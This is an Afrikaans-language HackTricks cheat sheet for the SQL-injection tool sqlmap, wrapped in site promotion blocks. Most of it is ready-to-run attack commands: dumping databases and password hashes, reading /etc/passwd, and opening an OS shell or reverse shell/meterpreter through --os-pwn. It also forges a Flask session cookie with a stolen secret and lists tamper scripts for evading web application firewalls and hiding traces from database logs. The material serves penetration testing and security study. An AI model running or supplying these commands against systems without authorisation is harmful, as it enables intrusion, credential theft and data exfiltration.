.. | ||
README.md | ||
second-order-injection-sqlmap.md |
SQLMap - Spiekbrief
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PRs in te dien by die HackTricks en HackTricks Cloud github-opslag.
Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & penetrasietoetsing. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te graaf, skulpe te laat spat, en pret te hê.
{% embed url="https://pentest-tools.com/" %}
Basiese argumente vir SQLmap
Generies
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
Kry Inligting
Intern
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges
DB data
DB data
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
Inspruitingsplek
Vanaf Burp/ZAP vaslegging
Vasvang die versoek en skep 'n req.txt-lêer
sqlmap -r req.txt --current-user
GET Aanvraag Inspruiting
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
POST Aanvraag Inspruiting
sqlmap -u "http://example.com" --data "username=*&password=*"
Inspruitings in Koptekste en ander HTTP-metodes
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
Dui op die string wanneer inspuiting suksesvol is
--string="string_showed_when_TRUE"
Eval
Sqlmap maak die gebruik van -e
of --eval
moontlik om elke lading te verwerk voordat dit met 'n bietjie Python oneliner gestuur word. Dit maak dit baie maklik en vinnig om die lading op aangepaste maniere te verwerk voordat dit gestuur word. In die volgende voorbeeld word die flask koekie sessie deur flask onderteken met die bekende geheim voordat dit gestuur word:
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
Dopshell
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
Lees Lêer
--file-read=/etc/passwd
Kruip 'n webwerf met SQLmap en outomaties uitbuit
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
Tweede Orde Inspruiting
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
Lees hierdie posoor hoe om eenvoudige en komplekse tweede-orde inspuitings met sqlmap uit te voer.
Aanpassing van Insigting
Stel 'n agtervoegsel
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
Voorvoegsel
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
Help om booleaanse inspuiting te vind
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
Verander
Onthou dat jy jou eie veranderings in Python kan skep en dit is baie maklik. Jy kan 'n veranderingsvoorbeeld vind op die Tweede Orde Inspruiting bladsy hier.
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper | Beskrywing |
---|---|
apostrophemask.py | Vervang apostroofkarakter met sy UTF-8 volle breedte teenhanger |
apostrophenullencode.py | Vervang apostroofkarakter met sy onwettige dubbele unicode teenhanger |
appendnullbyte.py | Voeg gekodeerde NULL byte karakter aan die einde van die lading toe |
base64encode.py | Base64 alle karakters in 'n gegewe lading |
between.py | Vervang groter as operateur ('>') met 'NIET TUSSEN 0 EN #' |
bluecoat.py | Vervang spatiekarakter na SQL-stelling met 'n geldige lukrake leë karakter. Vervang daarna karakter = met LIKE operateur |
chardoubleencode.py | Dubbel url-kodeer alle karakters in 'n gegewe lading (nie verwerking van reeds gekodeerde karakters nie) |
commalesslimit.py | Vervang instansies soos 'LIMIT M, N' met 'LIMIT N OFFSET M' |
commalessmid.py | Vervang instansies soos 'MID(A, B, C)' met 'MID(A VANAF B VIR C)' |
concat2concatws.py | Vervang instansies soos 'CONCAT(A, B)' met 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
charencode.py | Url-kodeer alle karakters in 'n gegewe lading (nie verwerking van reeds gekodeerde karakters nie) |
charunicodeencode.py | Unicode-url-kodeer nie-gekodeerde karakters in 'n gegewe lading (nie verwerking van reeds gekodeerde karakters nie). "%u0022" |
charunicodeescape.py | Unicode-url-kodeer nie-gekodeerde karakters in 'n gegewe lading (nie verwerking van reeds gekodeerde karakters nie). "\u0022" |
equaltolike.py | Vervang alle voorkomste van operateur gelyk ('=') met operateur 'LIKE' |
escapequotes.py | Slas ontsnap aan aanhalingstekens (' en ") |
greatest.py | Vervang groter as operateur ('>') met 'GREATEST' teenhanger |
halfversionedmorekeywords.py | Voeg 'n weergawe MySQL kommentaar voor elke sleutelwoord by |
ifnull2ifisnull.py | Vervang instansies soos 'IFNULL(A, B)' met 'IF(ISNULL(A), B, A)' |
modsecurityversioned.py | Omhels volledige navraag met weergawe kommentaar |
modsecurityzeroversioned.py | Omhels volledige navraag met nul-weergawe kommentaar |
multiplespaces.py | Voeg meervoudige spasies rondom SQL sleutelwoorde toe |
nonrecursivereplacement.py | Vervang voorafgedefinieerde SQL sleutelwoorde met verteenwoordigings wat geskik is vir vervanging (bv. .replace("SELECT", "")) |
percentage.py | Voeg 'n persentasieteken ('%') voor elke karakter voor |
overlongutf8.py | Omskep alle karakters in 'n gegewe lading (nie verwerking van reeds gekodeerde karakters nie) |
randomcase.py | Vervang elke sleutelwoordkarakter met 'n lukrake gevalwaarde |
randomcomments.py | Voeg lukrake kommentaar by SQL sleutelwoorde |
securesphere.py | Voeg spesiaal vervaardigde string by |
sp_password.py | Voeg 'sp_password' by die einde van die lading vir outomatiese verduistering van DBMS-logboeke |
space2comment.py | Vervang spatiekarakter (' ') met kommentaar |
space2dash.py | Vervang spatiekarakter (' ') met 'n streep kommentaar ('--') gevolg deur 'n lukrake string en 'n nuwe lyn ('\n') |
space2hash.py | Vervang spatiekarakter (' ') met 'n pondkarakter ('#') gevolg deur 'n lukrake string en 'n nuwe lyn ('\n') |
space2morehash.py | Vervang spatiekarakter (' ') met 'n pondkarakter ('#') gevolg deur 'n lukrake string en 'n nuwe lyn ('\n') |
space2mssqlblank.py | Vervang spatiekarakter (' ') met 'n lukrake leë karakter van 'n geldige stel alternatiewe karakters |
space2mssqlhash.py | Vervang spatiekarakter (' ') met 'n pondkarakter ('#') gevolg deur 'n nuwe lyn ('\n') |
space2mysqlblank.py | Vervang spatiekarakter (' ') met 'n lukrake leë karakter van 'n geldige stel alternatiewe karakters |
space2mysqldash.py | Vervang spatiekarakter (' ') met 'n streep kommentaar ('--') gevolg deur 'n nuwe lyn ('\n') |
space2plus.py | Vervang spatiekarakter (' ') met plus ('+') |
space2randomblank.py | Vervang spatiekarakter (' ') met 'n lukrake leë karakter van 'n geldige stel alternatiewe karakters |
symboliclogical.py | Vervang AND en OF logiese operateurs met hul simboliese teenhangers (&& en |
unionalltounion.py | Vervang UNION ALL SELECT met UNION SELECT |
unmagicquotes.py | Vervang aanhalingstekenkarakter (') met 'n multi-byte kombinasie %bf%27 saam met generiese kommentaar aan die einde (om dit te laat werk) |
uppercase.py | Vervang elke sleutelwoordkarakter met hoofletterwaarde 'INSERT' |
varnish.py | Voeg 'n HTTP-kop 'X-originating-IP' by |
versionedkeywords.py | Sluit elke nie-funksie sleutelwoord in met 'n weergawe MySQL kommentaar |
versionedmorekeywords.py | Sluit elke sleutelwoord in met 'n weergawe MySQL kommentaar |
xforwardedfor.py | Voeg 'n vals HTTP-kop 'X-Forwarded-For' by |
Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentest. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat vanaf rekognisering tot verslagdoening gaan. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te delf, doppe te skiet, en pret te hê.
{% embed url="https://pentest-tools.com/" %}
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kontroleer die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs
- Sluit aan by 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.